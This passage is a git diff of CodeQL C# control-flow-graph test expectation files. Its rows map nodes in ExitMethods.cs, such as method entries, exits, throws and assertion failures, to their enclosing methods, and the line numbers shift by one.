ExitMethods.cs:110:13:110:21 | exit ThrowExpr | +| ExitMethods.cs:112:29:112:29 | 1 | ExitMethods.cs:110:13:110:21 | enter ThrowExpr | +| ExitMethods.cs:112:29:112:29 | 1 | ExitMethods.cs:112:29:112:29 | 1 | +| ExitMethods.cs:112:69:112:75 | "input" | ExitMethods.cs:112:69:112:75 | "input" | +| ExitMethods.cs:115:16:115:34 | enter ExtensionMethodCall | ExitMethods.cs:115:16:115:34 | enter ExtensionMethodCall | +| ExitMethods.cs:117:16:117:38 | ... ? ... : ... | ExitMethods.cs:115:16:115:34 | enter ExtensionMethodCall | +| ExitMethods.cs:117:16:117:38 | ... ? ... : ... | ExitMethods.cs:117:16:117:38 | ... ? ... : ... | +| ExitMethods.cs:117:16:117:38 | ... ? ... : ... | ExitMethods.cs:117:34:117:34 | 0 | +| ExitMethods.cs:117:16:117:38 | ... ? ... : ... | ExitMethods.cs:117:38:117:38 | 1 | +| ExitMethods.cs:117:34:117:34 | 0 | ExitMethods.cs:117:34:117:34 | 0 | +| ExitMethods.cs:117:38:117:38 | 1 | ExitMethods.cs:117:38:117:38 | 1 | +| ExitMethods.cs:120:17:120:32 | enter FailingAssertion | ExitMethods.cs:120:17:120:32 | enter FailingAssertion | +| ExitMethods.cs:122:9:122:28 | [assertion failure] call to method IsTrue | ExitMethods.cs:122:9:122:28 | [assertion failure] call to method IsTrue | +| ExitMethods.cs:126:17:126:33 | enter FailingAssertion2 | ExitMethods.cs:126:17:126:33 | enter FailingAssertion2 | +| ExitMethods.cs:132:10:132:20 | enter AssertFalse | ExitMethods.cs:132:10:132:20 | enter AssertFalse | +| ExitMethods.cs:132:10:132:20 | exit AssertFalse | ExitMethods.cs:132:10:132:20 | exit AssertFalse | +| ExitMethods.cs:132:33:132:49 | [assertion failure] call to method IsFalse | ExitMethods.cs:132:33:132:49 | [assertion failure] call to method IsFalse | +| ExitMethods.cs:132:33:132:49 | [assertion success] call to method IsFalse | ExitMethods.cs:132:10:132:20 | enter AssertFalse | +| ExitMethods.cs:132:33:132:49 | [assertion success] call to method IsFalse | ExitMethods.cs:132:33:132:49 | [assertion success] call to method IsFalse | +| ExitMethods.cs:134:17:134:33 | enter FailingAssertion3 | ExitMethods.cs:134:17:134:33 | enter FailingAssertion3 | +| ExitMethods.cs:136:9:136:25 | [assertion failure] call to method AssertFalse | ExitMethods.cs:136:9:136:25 | [assertion failure] call to method AssertFalse | +| ExitMethods.cs:140:17:140:42 | enter ExceptionDispatchInfoThrow | ExitMethods.cs:140:17:140:42 | enter ExceptionDispatchInfoThrow | +| ExitMethods.cs:143:13:143:43 | ...; | ExitMethods.cs:143:13:143:43 | ...; | +| ExitMethods.cs:145:13:145:53 | ...; | ExitMethods.cs:145:13:145:53 | ...; | +| ExitMethods.cs:146:9:146:34 | ...; | ExitMethods.cs:140:17:140:42 | enter ExceptionDispatchInfoThrow | +| ExitMethods.cs:146:9:146:34 | ...; | ExitMethods.cs:143:13:143:43 | ...; | +| ExitMethods.cs:146:9:146:34 | ...; | ExitMethods.cs:145:13:145:53 | ...; | +| ExitMethods.cs:146:9:146:34 | ...; | ExitMethods.cs:146:9:146:34 | ...; | | Extensions.cs:5:23:5:29 | enter ToInt32 | Extensions.cs:5:23:5:29 | enter ToInt32 | | Extensions.cs:10:24:10:29 | enter ToBool | Extensions.cs:10:24:10:29 | enter ToBool | | Extensions.cs:15:23:15:33 | enter CallToInt32 | Extensions.cs:15:23:15:33 | enter CallToInt32 | diff --git a/csharp/ql/test/library-tests/controlflow/graph/EnclosingCallable.expected b/csharp/ql/test/library-tests/controlflow/graph/EnclosingCallable.expected index 3ab6261019f..8050b8ced38 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/EnclosingCallable.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/EnclosingCallable.expected @@ -1603,182 +1603,198 @@ nodeEnclosing | Conditions.cs:149:38:149:47 | $"..." | Conditions.cs:143:10:143:12 | M11 | | Conditions.cs:149:40:149:43 | "b = " | Conditions.cs:143:10:143:12 | M11 | | Conditions.cs:149:45:149:45 | access to local variable s | Conditions.cs:143:10:143:12 | M11 | -| ExitMethods.cs:7:10:7:11 | enter M1 | ExitMethods.cs:7:10:7:11 | M1 | -| ExitMethods.cs:7:10:7:11 | exit M1 | ExitMethods.cs:7:10:7:11 | M1 | -| ExitMethods.cs:7:10:7:11 | exit M1 (normal) | ExitMethods.cs:7:10:7:11 | M1 | -| ExitMethods.cs:8:5:11:5 | {...} | ExitMethods.cs:7:10:7:11 | M1 | -| ExitMethods.cs:9:9:9:24 | call to method ErrorMaybe | ExitMethods.cs:7:10:7:11 | M1 | -| ExitMethods.cs:9:9:9:25 | ...; | ExitMethods.cs:7:10:7:11 | M1 | -| ExitMethods.cs:9:20:9:23 | true | ExitMethods.cs:7:10:7:11 | M1 | -| ExitMethods.cs:10:9:10:15 | return ...; | ExitMethods.cs:7:10:7:11 | M1 | -| ExitMethods.cs:13:10:13:11 | enter M2 | ExitMethods.cs:13:10:13:11 | M2 | -| ExitMethods.cs:13:10:13:11 | exit M2 | ExitMethods.cs:13:10:13:11 | M2 | -| ExitMethods.cs:13:10:13:11 | exit M2 (normal) | ExitMethods.cs:13:10:13:11 | M2 | -| ExitMethods.cs:14:5:17:5 | {...} | ExitMethods.cs:13:10:13:11 | M2 | -| ExitMethods.cs:15:9:15:25 | call to method ErrorMaybe | ExitMethods.cs:13:10:13:11 | M2 | -| ExitMethods.cs:15:9:15:26 | ...; | ExitMethods.cs:13:10:13:11 | M2 | -| ExitMethods.cs:15:20:15:24 | false | ExitMethods.cs:13:10:13:11 | M2 | -| ExitMethods.cs:16:9:16:15 | return ...; | ExitMethods.cs:13:10:13:11 | M2 | -| ExitMethods.cs:19:10:19:11 | enter M3 | ExitMethods.cs:19:10:19:11 | M3 | -| ExitMethods.cs:19:10:19:11 | exit M3 | ExitMethods.cs:19:10:19:11 | M3 | -| ExitMethods.cs:19:10:19:11 | exit M3 (abnormal) | ExitMethods.cs:19:10:19:11 | M3 | -| ExitMethods.cs:20:5:23:5 | {...} | ExitMethods.cs:19:10:19:11 | M3 | -| ExitMethods.cs:21:9:21:25 | call to method ErrorAlways | ExitMethods.cs:19:10:19:11 | M3 | -| ExitMethods.cs:21:9:21:26 | ...; | ExitMethods.cs:19:10:19:11 | M3 | -| ExitMethods.cs:21:21:21:24 | true | ExitMethods.cs:19:10:19:11 | M3 | -| ExitMethods.cs:25:10:25:11 | enter M4 | ExitMethods.cs:25:10:25:11 | M4 | -| ExitMethods.cs:25:10:25:11 | exit M4 | ExitMethods.cs:25:10:25:11 | M4 | -| ExitMethods.cs:25:10:25:11 | exit M4 (abnormal) | ExitMethods.cs:25:10:25:11 | M4 | -| ExitMethods.cs:26:5:29:5 | {...} | ExitMethods.cs:25:10:25:11 | M4 | -| ExitMethods.cs:27:9:27:14 | call to method Exit | ExitMethods.cs:25:10:25:11 | M4 | -| ExitMethods.cs:27:9:27:14 | this access | ExitMethods.cs:25:10:25:11 | M4 | -| ExitMethods.cs:27:9:27:15 | ...; | ExitMethods.cs:25:10:25:11 | M4 | -| ExitMethods.cs:31:10:31:11 | enter M5 | ExitMethods.cs:31:10:31:11 | M5 | -| ExitMethods.cs:31:10:31:11 | exit M5 | ExitMethods.cs:31:10:31:11 | M5 | -| ExitMethods.cs:31:10:31:11 | exit M5 (abnormal) | ExitMethods.cs:31:10:31:11 | M5 | -| ExitMethods.cs:32:5:35:5 | {...} | ExitMethods.cs:31:10:31:11 | M5 | -| ExitMethods.cs:33:9:33:25 | call to method ApplicationExit | ExitMethods.cs:31:10:31:11 | M5 | -| ExitMethods.cs:33:9:33:25 | this access | ExitMethods.cs:31:10:31:11 | M5 | -| ExitMethods.cs:33:9:33:26 | ...; | ExitMethods.cs:31:10:31:11 | M5 | -| ExitMethods.cs:37:10:37:11 | enter M6 | ExitMethods.cs:37:10:37:11 | M6 | -| ExitMethods.cs:37:10:37:11 | exit M6 | ExitMethods.cs:37:10:37:11 | M6 | -| ExitMethods.cs:37:10:37:11 | exit M6 (normal) | ExitMethods.cs:37:10:37:11 | M6 | -| ExitMethods.cs:38:5:51:5 | {...} | ExitMethods.cs:37:10:37:11 | M6 | -| ExitMethods.cs:39:9:50:9 | try {...} ... | ExitMethods.cs:37:10:37:11 | M6 | -| ExitMethods.cs:40:9:42:9 | {...} | ExitMethods.cs:37:10:37:11 | M6 | -| ExitMethods.cs:41:13:41:30 | call to method ErrorAlways | ExitMethods.cs:37:10:37:11 | M6 | -| ExitMethods.cs:41:13:41:31 | ...; | ExitMethods.cs:37:10:37:11 | M6 | -| ExitMethods.cs:41:25:41:29 | false | ExitMethods.cs:37:10:37:11 | M6 | -| ExitMethods.cs:43:9:46:9 | [exception: ArgumentException] catch (...) {...} | ExitMethods.cs:37:10:37:11 | M6 | -| ExitMethods.cs:43:9:46:9 | [exception: Exception] catch (...) {...} | ExitMethods.cs:37:10:37:11 | M6 | -| ExitMethods.cs:44:9:46:9 | {...} | ExitMethods.cs:37:10:37:11 | M6 | -| ExitMethods.cs:45:13:45:19 | return ...; | ExitMethods.cs:37:10:37:11 | M6 | -| ExitMethods.cs:47:9:50:9 | [exception: Exception] catch (...) {...} | ExitMethods.cs:37:10:37:11 | M6 | -| ExitMethods.cs:48:9:50:9 | {...} | ExitMethods.cs:37:10:37:11 | M6 | -| ExitMethods.cs:49:13:49:19 | return ...; | ExitMethods.cs:37:10:37:11 | M6 | -| ExitMethods.cs:53:10:53:11 | enter M7 | ExitMethods.cs:53:10:53:11 | M7 | -| ExitMethods.cs:53:10:53:11 | exit M7 | ExitMethods.cs:53:10:53:11 | M7 | -| ExitMethods.cs:53:10:53:11 | exit M7 (abnormal) | ExitMethods.cs:53:10:53:11 | M7 | -| ExitMethods.cs:54:5:57:5 | {...} | ExitMethods.cs:53:10:53:11 | M7 | -| ExitMethods.cs:55:9:55:22 | call to method ErrorAlways2 | ExitMethods.cs:53:10:53:11 | M7 | -| ExitMethods.cs:55:9:55:23 | ...; | ExitMethods.cs:53:10:53:11 | M7 | -| ExitMethods.cs:59:10:59:11 | enter M8 | ExitMethods.cs:59:10:59:11 | M8 | -| ExitMethods.cs:59:10:59:11 | exit M8 | ExitMethods.cs:59:10:59:11 | M8 | -| ExitMethods.cs:59:10:59:11 | exit M8 (abnormal) | ExitMethods.cs:59:10:59:11 | M8 | -| ExitMethods.cs:60:5:63:5 | {...} | ExitMethods.cs:59:10:59:11 | M8 | -| ExitMethods.cs:61:9:61:22 | call to method ErrorAlways3 | ExitMethods.cs:59:10:59:11 | M8 | -| ExitMethods.cs:61:9:61:23 | ...; | ExitMethods.cs:59:10:59:11 | M8 | -| ExitMethods.cs:65:17:65:26 | enter ErrorMaybe | ExitMethods.cs:65:17:65:26 | ErrorMaybe | -| ExitMethods.cs:65:17:65:26 | exit ErrorMaybe | ExitMethods.cs:65:17:65:26 | ErrorMaybe | -| ExitMethods.cs:65:17:65:26 | exit ErrorMaybe (abnormal) | ExitMethods.cs:65:17:65:26 | ErrorMaybe | -| ExitMethods.cs:65:17:65:26 | exit ErrorMaybe (normal) | ExitMethods.cs:65:17:65:26 | ErrorMaybe | -| ExitMethods.cs:66:5:69:5 | {...} | ExitMethods.cs:65:17:65:26 | ErrorMaybe | -| ExitMethods.cs:67:9:68:34 | if (...) ... | ExitMethods.cs:65:17:65:26 | ErrorMaybe | -| ExitMethods.cs:67:13:67:13 | access to parameter b | ExitMethods.cs:65:17:65:26 | ErrorMaybe | -| ExitMethods.cs:68:13:68:34 | throw ...; | ExitMethods.cs:65:17:65:26 | ErrorMaybe | -| ExitMethods.cs:68:19:68:33 | object creation of type Exception | ExitMethods.cs:65:17:65:26 | ErrorMaybe | -| ExitMethods.cs:71:17:71:27 | enter ErrorAlways | ExitMethods.cs:71:17:71:27 | ErrorAlways | -| ExitMethods.cs:71:17:71:27 | exit ErrorAlways | ExitMethods.cs:71:17:71:27 | ErrorAlways | -| ExitMethods.cs:71:17:71:27 | exit ErrorAlways (abnormal) | ExitMethods.cs:71:17:71:27 | ErrorAlways | -| ExitMethods.cs:72:5:77:5 | {...} | ExitMethods.cs:71:17:71:27 | ErrorAlways | -| ExitMethods.cs:73:9:76:45 | if (...) ... | ExitMethods.cs:71:17:71:27 | ErrorAlways | -| ExitMethods.cs:73:13:73:13 | access to parameter b | ExitMethods.cs:71:17:71:27 | ErrorAlways | -| ExitMethods.cs:74:13:74:34 | throw ...; | ExitMethods.cs:71:17:71:27 | ErrorAlways | -| ExitMethods.cs:74:19:74:33 | object creation of type Exception | ExitMethods.cs:71:17:71:27 | ErrorAlways | -| ExitMethods.cs:76:13:76:45 | throw ...; | ExitMethods.cs:71:17:71:27 | ErrorAlways | -| ExitMethods.cs:76:19:76:44 | object creation of type ArgumentException | ExitMethods.cs:71:17:71:27 | ErrorAlways | -| ExitMethods.cs:76:41:76:43 | "b" | ExitMethods.cs:71:17:71:27 | ErrorAlways | -| ExitMethods.cs:79:17:79:28 | enter ErrorAlways2 | ExitMethods.cs:79:17:79:28 | ErrorAlways2 | -| ExitMethods.cs:79:17:79:28 | exit ErrorAlways2 | ExitMethods.cs:79:17:79:28 | ErrorAlways2 | -| ExitMethods.cs:79:17:79:28 | exit ErrorAlways2 (abnormal) | ExitMethods.cs:79:17:79:28 | ErrorAlways2 | -| ExitMethods.cs:80:5:82:5 | {...} | ExitMethods.cs:79:17:79:28 | ErrorAlways2 | -| ExitMethods.cs:81:9:81:30 | throw ...; | ExitMethods.cs:79:17:79:28 | ErrorAlways2 | -| ExitMethods.cs:81:15:81:29 | object creation of type Exception | ExitMethods.cs:79:17:79:28 | ErrorAlways2 | -| ExitMethods.cs:84:17:84:28 | enter ErrorAlways3 | ExitMethods.cs:84:17:84:28 | ErrorAlways3 | -| ExitMethods.cs:84:17:84:28 | exit ErrorAlways3 | ExitMethods.cs:84:17:84:28 | ErrorAlways3 | -| ExitMethods.cs:84:17:84:28 | exit ErrorAlways3 (abnormal) | ExitMethods.cs:84:17:84:28 | ErrorAlways3 | -| ExitMethods.cs:84:35:84:55 | throw ... | ExitMethods.cs:84:17:84:28 | ErrorAlways3 | -| ExitMethods.cs:84:41:84:55 | object creation of type Exception | ExitMethods.cs:84:17:84:28 | ErrorAlways3 | -| ExitMethods.cs:86:10:86:13 | enter Exit | ExitMethods.cs:86:10:86:13 | Exit | -| ExitMethods.cs:86:10:86:13 | exit Exit | ExitMethods.cs:86:10:86:13 | Exit | -| ExitMethods.cs:86:10:86:13 | exit Exit (abnormal) | ExitMethods.cs:86:10:86:13 | Exit | -| ExitMethods.cs:87:5:89:5 | {...} | ExitMethods.cs:86:10:86:13 | Exit | -| ExitMethods.cs:88:9:88:27 | call to method Exit | ExitMethods.cs:86:10:86:13 | Exit | -| ExitMethods.cs:88:9:88:28 | ...; | ExitMethods.cs:86:10:86:13 | Exit | -| ExitMethods.cs:88:26:88:26 | 0 | ExitMethods.cs:86:10:86:13 | Exit | -| ExitMethods.cs:91:10:91:18 | enter ExitInTry | ExitMethods.cs:91:10:91:18 | ExitInTry | -| ExitMethods.cs:91:10:91:18 | exit ExitInTry | ExitMethods.cs:91:10:91:18 | ExitInTry | -| ExitMethods.cs:91:10:91:18 | exit ExitInTry (abnormal) | ExitMethods.cs:91:10:91:18 | ExitInTry | -| ExitMethods.cs:92:5:102:5 | {...} | ExitMethods.cs:91:10:91:18 | ExitInTry | -| ExitMethods.cs:93:9:101:9 | try {...} ... | ExitMethods.cs:91:10:91:18 | ExitInTry | -| ExitMethods.cs:94:9:96:9 | {...} | ExitMethods.cs:91:10:91:18 | ExitInTry | -| ExitMethods.cs:95:13:95:18 | call to method Exit | ExitMethods.cs:91:10:91:18 | ExitInTry | -| ExitMethods.cs:95:13:95:18 | this access | ExitMethods.cs:91:10:91:18 | ExitInTry | -| ExitMethods.cs:95:13:95:19 | ...; | ExitMethods.cs:91:10:91:18 | ExitInTry | -| ExitMethods.cs:104:10:104:24 | enter ApplicationExit | ExitMethods.cs:104:10:104:24 | ApplicationExit | -| ExitMethods.cs:104:10:104:24 | exit ApplicationExit | ExitMethods.cs:104:10:104:24 | ApplicationExit | -| ExitMethods.cs:104:10:104:24 | exit ApplicationExit (abnormal) | ExitMethods.cs:104:10:104:24 | ApplicationExit | -| ExitMethods.cs:105:5:107:5 | {...} | ExitMethods.cs:104:10:104:24 | ApplicationExit | -| ExitMethods.cs:106:9:106:47 | call to method Exit | ExitMethods.cs:104:10:104:24 | ApplicationExit | -| ExitMethods.cs:106:9:106:48 | ...; | ExitMethods.cs:104:10:104:24 | ApplicationExit | -| ExitMethods.cs:109:13:109:21 | enter ThrowExpr | ExitMethods.cs:109:13:109:21 | ThrowExpr | -| ExitMethods.cs:109:13:109:21 | exit ThrowExpr | ExitMethods.cs:109:13:109:21 | ThrowExpr | -| ExitMethods.cs:109:13:109:21 | exit ThrowExpr (abnormal) | ExitMethods.cs:109:13:109:21 | ThrowExpr | -| ExitMethods.cs:109:13:109:21 | exit ThrowExpr (normal) | ExitMethods.cs:109:13:109:21 | ThrowExpr | -| ExitMethods.cs:110:5:112:5 | {...} | ExitMethods.cs:109:13:109:21 | ThrowExpr | -| ExitMethods.cs:111:9:111:77 | return ...; | ExitMethods.cs:109:13:109:21 | ThrowExpr | -| ExitMethods.cs:111:16:111:20 | access to parameter input | ExitMethods.cs:109:13:109:21 | ThrowExpr | -| ExitMethods.cs:111:16:111:25 | ... != ... | ExitMethods.cs:109:13:109:21 | ThrowExpr | -| ExitMethods.cs:111:16:111:76 | ... ? ... : ... | ExitMethods.cs:109:13:109:21 | ThrowExpr | -| ExitMethods.cs:111:25:111:25 | 0 | ExitMethods.cs:109:13:109:21 | ThrowExpr | -| ExitMethods.cs:111:25:111:25 | (...) ... | ExitMethods.cs:109:13:109:21 | ThrowExpr | -| ExitMethods.cs:111:29:111:29 | 1 | ExitMethods.cs:109:13:109:21 | ThrowExpr | -| ExitMethods.cs:111:29:111:29 | (...) ... | ExitMethods.cs:109:13:109:21 | ThrowExpr | -| ExitMethods.cs:111:29:111:37 | ... / ... | ExitMethods.cs:109:13:109:21 | ThrowExpr | -| ExitMethods.cs:111:33:111:37 | access to parameter input | ExitMethods.cs:109:13:109:21 | ThrowExpr | -| ExitMethods.cs:111:41:111:76 | throw ... | ExitMethods.cs:109:13:109:21 | ThrowExpr | -| ExitMethods.cs:111:47:111:76 | object creation of type ArgumentException | ExitMethods.cs:109:13:109:21 | ThrowExpr | -| ExitMethods.cs:111:69:111:75 | "input" | ExitMethods.cs:109:13:109:21 | ThrowExpr | -| ExitMethods.cs:114:16:114:34 | enter ExtensionMethodCall | ExitMethods.cs:114:16:114:34 | ExtensionMethodCall | -| ExitMethods.cs:114:16:114:34 | exit ExtensionMethodCall | ExitMethods.cs:114:16:114:34 | ExtensionMethodCall | -| ExitMethods.cs:114:16:114:34 | exit ExtensionMethodCall (normal) | ExitMethods.cs:114:16:114:34 | ExtensionMethodCall | -| ExitMethods.cs:115:5:117:5 | {...} | ExitMethods.cs:114:16:114:34 | ExtensionMethodCall | -| ExitMethods.cs:116:9:116:39 | return ...; | ExitMethods.cs:114:16:114:34 | ExtensionMethodCall | -| ExitMethods.cs:116:16:116:16 | access to parameter s | ExitMethods.cs:114:16:114:34 | ExtensionMethodCall | -| ExitMethods.cs:116:16:116:30 | call to method Contains | ExitMethods.cs:114:16:114:34 | ExtensionMethodCall | -| ExitMethods.cs:116:16:116:38 | ... ? ... : ... | ExitMethods.cs:114:16:114:34 | ExtensionMethodCall | -| ExitMethods.cs:116:27:116:29 | - | ExitMethods.cs:114:16:114:34 | ExtensionMethodCall | -| ExitMethods.cs:116:34:116:34 | 0 | ExitMethods.cs:114:16:114:34 | ExtensionMethodCall | -| ExitMethods.cs:116:38:116:38 | 1 | ExitMethods.cs:114:16:114:34 | ExtensionMethodCall | -| ExitMethods.cs:119:17:119:32 | enter FailingAssertion | ExitMethods.cs:119:17:119:32 | FailingAssertion | -| ExitMethods.cs:119:17:119:32 | exit FailingAssertion | ExitMethods.cs:119:17:119:32 | FailingAssertion | -| ExitMethods.cs:119:17:119:32 | exit FailingAssertion (abnormal) | ExitMethods.cs:119:17:119:32 | FailingAssertion | -| ExitMethods.cs:120:5:123:5 | {...} | ExitMethods.cs:119:17:119:32 | FailingAssertion | -| ExitMethods.cs:121:9:121:28 | [assertion failure] call to method IsTrue | ExitMethods.cs:119:17:119:32 | FailingAssertion | -| ExitMethods.cs:121:9:121:29 | ...; | ExitMethods.cs:119:17:119:32 | FailingAssertion | -| ExitMethods.cs:121:23:121:27 | false | ExitMethods.cs:119:17:119:32 | FailingAssertion | -| ExitMethods.cs:125:17:125:33 | enter FailingAssertion2 | ExitMethods.cs:125:17:125:33 | FailingAssertion2 | -| ExitMethods.cs:125:17:125:33 | exit FailingAssertion2 | ExitMethods.cs:125:17:125:33 | FailingAssertion2 | -| ExitMethods.cs:125:17:125:33 | exit FailingAssertion2 (abnormal) | ExitMethods.cs:125:17:125:33 | FailingAssertion2 | -| ExitMethods.cs:126:5:129:5 | {...} | ExitMethods.cs:125:17:125:33 | FailingAssertion2 | -| ExitMethods.cs:127:9:127:26 | call to method FailingAssertion | ExitMethods.cs:125:17:125:33 | FailingAssertion2 | -| ExitMethods.cs:127:9:127:26 | this access | ExitMethods.cs:125:17:125:33 | FailingAssertion2 | -| ExitMethods.cs:127:9:127:27 | ...; | ExitMethods.cs:125:17:125:33 | FailingAssertion2 | -| ExitMethods.cs:131:10:131:20 | enter AssertFalse | ExitMethods.cs:131:10:131:20 | AssertFalse | -| ExitMethods.cs:131:10:131:20 | exit AssertFalse | ExitMethods.cs:131:10:131:20 | AssertFalse | -| ExitMethods.cs:131:10:131:20 | exit AssertFalse (abnormal) | ExitMethods.cs:131:10:131:20 | AssertFalse | -| ExitMethods.cs:131:10:131:20 | exit AssertFalse (normal) | ExitMethods.cs:131:10:131:20 | AssertFalse | -| ExitMethods.cs:131:33:131:49 | [assertion failure] call to method IsFalse | ExitMethods.cs:131:10:131:20 | AssertFalse | -| ExitMethods.cs:131:33:131:49 | [assertion success] call to method IsFalse | ExitMethods.cs:131:10:131:20 | AssertFalse | -| ExitMethods.cs:131:48:131:48 | access to parameter b | ExitMethods.cs:131:10:131:20 | AssertFalse | -| ExitMethods.cs:133:17:133:33 | enter FailingAssertion3 | ExitMethods.cs:133:17:133:33 | FailingAssertion3 | -| ExitMethods.cs:133:17:133:33 | exit FailingAssertion3 | ExitMethods.cs:133:17:133:33 | FailingAssertion3 | -| ExitMethods.cs:133:17:133:33 | exit FailingAssertion3 (abnormal) | ExitMethods.cs:133:17:133:33 | FailingAssertion3 | -| ExitMethods.cs:134:5:137:5 | {...} | ExitMethods.cs:133:17:133:33 | FailingAssertion3 | -| ExitMethods.cs:135:9:135:25 | [assertion failure] call to method AssertFalse | ExitMethods.cs:133:17:133:33 | FailingAssertion3 | -| ExitMethods.cs:135:9:135:25 | this access | ExitMethods.cs:133:17:133:33 | FailingAssertion3 | -| ExitMethods.cs:135:9:135:26 | ...; | ExitMethods.cs:133:17:133:33 | FailingAssertion3 | -| ExitMethods.cs:135:21:135:24 | true | ExitMethods.cs:133:17:133:33 | FailingAssertion3 | +| ExitMethods.cs:8:10:8:11 | enter M1 | ExitMethods.cs:8:10:8:11 | M1 | +| ExitMethods.cs:8:10:8:11 | exit M1 | ExitMethods.cs:8:10:8:11 | M1 | +| ExitMethods.cs:8:10:8:11 | exit M1 (normal) | ExitMethods.cs:8:10:8:11 | M1 | +| ExitMethods.cs:9:5:12:5 | {...} | ExitMethods.cs:8:10:8:11 | M1 | +| ExitMethods.cs:10:9:10:24 | call to method ErrorMaybe | ExitMethods.cs:8:10:8:11 | M1 | +| ExitMethods.cs:10:9:10:25 | ...; | ExitMethods.cs:8:10:8:11 | M1 | +| ExitMethods.cs:10:20:10:23 | true | ExitMethods.cs:8:10:8:11 | M1 | +| ExitMethods.cs:11:9:11:15 | return ...; | ExitMethods.cs:8:10:8:11 | M1 | +| ExitMethods.cs:14:10:14:11 | enter M2 | ExitMethods.cs:14:10:14:11 | M2 | +| ExitMethods.cs:14:10:14:11 | exit M2 | ExitMethods.cs:14:10:14:11 | M2 | +| ExitMethods.cs:14:10:14:11 | exit M2 (normal) | ExitMethods.cs:14:10:14:11 | M2 | +| ExitMethods.cs:15:5:18:5 | {...} | ExitMethods.cs:14:10:14:11 | M2 | +| ExitMethods.cs:16:9:16:25 | call to method ErrorMaybe | ExitMethods.cs:14:10:14:11 | M2 | +| ExitMethods.cs:16:9:16:26 | ...; | ExitMethods.cs:14:10:14:11 | M2 | +| ExitMethods.cs:16:20:16:24 | false | ExitMethods.cs:14:10:14:11 | M2 | +| ExitMethods.cs:17:9:17:15 | return ...; | ExitMethods.cs:14:10:14:11 | M2 | +| ExitMethods.cs:20:10:20:11 | enter M3 | ExitMethods.cs:20:10:20:11 | M3 | +| ExitMethods.cs:20:10:20:11 | exit M3 | ExitMethods.cs:20:10:20:11 | M3 | +| ExitMethods.cs:20:10:20:11 | exit M3 (abnormal) | ExitMethods.cs:20:10:20:11 | M3 | +| ExitMethods.cs:21:5:24:5 | {...} | ExitMethods.cs:20:10:20:11 | M3 | +| ExitMethods.cs:22:9:22:25 | call to method ErrorAlways | ExitMethods.cs:20:10:20:11 | M3 | +| ExitMethods.cs:22:9:22:26 | ...; | ExitMethods.cs:20:10:20:11 | M3 | +| ExitMethods.cs:22:21:22:24 | true | ExitMethods.cs:20:10:20:11 | M3 | +| ExitMethods.cs:26:10:26:11 | enter M4 | ExitMethods.cs:26:10:26:11 | M4 | +| ExitMethods.cs:26:10:26:11 | exit M4 | ExitMethods.cs:26:10:26:11 | M4 | +| ExitMethods.cs:26:10:26:11 | exit M4 (abnormal) | ExitMethods.cs:26:10:26:11 | M4 | +| ExitMethods.cs:27:5:30:5 | {...} | ExitMethods.cs:26:10:26:11 | M4 | +| ExitMethods.cs:28:9:28:14 | call to method Exit | ExitMethods.cs:26:10:26:11 | M4 | +| ExitMethods.cs:28:9:28:14 | this access | ExitMethods.cs:26:10:26:11 | M4 | +| ExitMethods.cs:28:9:28:15 | ...; | ExitMethods.cs:26:10:26:11 | M4 | +| ExitMethods.cs:32:10:32:11 | enter M5 | ExitMethods.cs:32:10:32:11 | M5 | +| ExitMethods.cs:32:10:32:11 | exit M5 | ExitMethods.cs:32:10:32:11 | M5 | +| ExitMethods.cs:32:10:32:11 | exit M5 (abnormal) | ExitMethods.cs:32:10:32:11 | M5 | +| ExitMethods.cs:33:5:36:5 | {...} | ExitMethods.cs:32:10:32:11 | M5 | +| ExitMethods.cs:34:9:34:25 | call to method ApplicationExit | ExitMethods.cs:32:10:32:11 | M5 | +| ExitMethods.cs:34:9:34:25 | this access | ExitMethods.cs:32:10:32:11 | M5 | +| ExitMethods.cs:34:9:34:26 | ...; | ExitMethods.cs:32:10:32:11 | M5 | +| ExitMethods.cs:38:10:38:11 | enter M6 | ExitMethods.cs:38:10:38:11 | M6 | +| ExitMethods.cs:38:10:38:11 | exit M6 | ExitMethods.cs:38:10:38:11 | M6 | +| ExitMethods.cs:38:10:38:11 | exit M6 (normal) | ExitMethods.cs:38:10:38:11 | M6 | +| ExitMethods.cs:39:5:52:5 | {...} | ExitMethods.cs:38:10:38:11 | M6 | +| ExitMethods.cs:40:9:51:9 | try {...} ... | ExitMethods.cs:38:10:38:11 | M6 | +| ExitMethods.cs:41:9:43:9 | {...} | ExitMethods.cs:38:10:38:11 | M6 | +| ExitMethods.cs:42:13:42:30 | call to method ErrorAlways | ExitMethods.cs:38:10:38:11 | M6 | +| ExitMethods.cs:42:13:42:31 | ...; | ExitMethods.cs:38:10:38:11 | M6 | +| ExitMethods.cs:42:25:42:29 | false | ExitMethods.cs:38:10:38:11 | M6 | +| ExitMethods.cs:44:9:47:9 | [exception: ArgumentException] catch (...) {...} | ExitMethods.cs:38:10:38:11 | M6 | +| ExitMethods.cs:44:9:47:9 | [exception: Exception] catch (...) {...} | ExitMethods.cs:38:10:38:11 | M6 | +| ExitMethods.cs:45:9:47:9 | {...} | ExitMethods.cs:38:10:38:11 | M6 | +| ExitMethods.cs:46:13:46:19 | return ...; | ExitMethods.cs:38:10:38:11 | M6 | +| ExitMethods.cs:48:9:51:9 | [exception: Exception] catch (...) {...} | ExitMethods.cs:38:10:38:11 | M6 | +| ExitMethods.cs:49:9:51:9 | {...} | ExitMethods.cs:38:10:38:11 | M6 | +| ExitMethods.cs:50:13:50:19 | return ...; | ExitMethods.cs:38:10:38:11 | M6 | +| ExitMethods.cs:54:10:54:11 | enter M7 | ExitMethods.cs:54:10:54:11 | M7 | +| ExitMethods.cs:54:10:54:11 | exit M7 | ExitMethods.cs:54:10:54:11 | M7 | +| ExitMethods.cs:54:10:54:11 | exit M7 (abnormal) | ExitMethods.cs:54:10:54:11 | M7 | +| ExitMethods.cs:55:5:58:5 | {...} | ExitMethods.cs:54:10:54:11 | M7 | +| ExitMethods.cs:56:9:56:22 | call to method ErrorAlways2 | ExitMethods.cs:54:10:54:11 | M7 | +| ExitMethods.cs:56:9:56:23 | ...; | ExitMethods.cs:54:10:54:11 | M7 | +| ExitMethods.cs:60:10:60:11 | enter M8 | ExitMethods.cs:60:10:60:11 | M8 | +| ExitMethods.cs:60:10:60:11 | exit M8 | ExitMethods.cs:60:10:60:11 | M8 | +| ExitMethods.cs:60:10:60:11 | exit M8 (abnormal) | ExitMethods.cs:60:10:60:11 | M8 | +| ExitMethods.cs:61:5:64:5 | {...} | ExitMethods.cs:60:10:60:11 | M8 | +| ExitMethods.cs:62:9:62:22 | call to method ErrorAlways3 | ExitMethods.cs:60:10:60:11 | M8 | +| 